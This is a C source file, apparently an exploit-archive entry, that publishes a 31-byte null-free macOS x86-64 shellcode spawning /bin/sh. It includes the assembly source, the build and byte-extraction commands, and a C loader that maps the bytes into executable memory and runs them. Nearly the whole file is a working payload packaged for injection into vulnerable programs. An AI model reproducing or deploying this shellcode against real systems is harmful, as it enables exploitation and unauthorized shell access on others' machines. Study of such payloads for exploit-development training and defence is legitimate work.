61 lines
No EOL
1.5 KiB
C
61 lines
No EOL
1.5 KiB
C
/*
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# Title: macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)
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# Date: 2019-02-17
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# Tested: macOS 10.14.1
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# Author: Ken Kitahara
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# Compilation: gcc -o loader loader.c
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dev:works devuser$ sw_vers
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ProductName: Mac OS X
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ProductVersion: 10.14.1
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BuildVersion: 18B75
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dev:works devuser$ cat binsh.s
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section .text
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global start
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start:
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; execve("//bin/sh", 0, 0)
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xor rax, rax
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cdq
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push rax
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mov rdi, 0x68732f6e69622f2f
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push rdi
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push rsp
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pop rdi
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xor rsi, rsi
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mov al, 0x2
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ror rax, 0x28
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mov al, 0x3b
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syscall
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dev:works devuser$ nasm -f macho64 -o binsh.o binsh.s && ld -macosx_version_min 10.7.0 -o binsh binsh.o
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dev:works devuser$ for i in $(objdump -d ./binsh.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
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\x48\x31\xc0\x99\x50\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x48\x31\xf6\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05
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dev:works devuser$
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*/
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#include <stdio.h>
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#include <sys/mman.h>
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#include <string.h>
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#include <stdlib.h>
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int (*sc)();
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char shellcode[] =
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"\x48\x31\xc0\x99\x50\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x48\x31\xf6\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05";
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int main(int argc, char **argv) {
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printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
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void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
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if (ptr == MAP_FAILED) {
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perror("mmap");
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exit(-1);
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}
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memcpy(ptr, shellcode, sizeof(shellcode));
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sc = ptr;
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sc();
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return 0;
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} |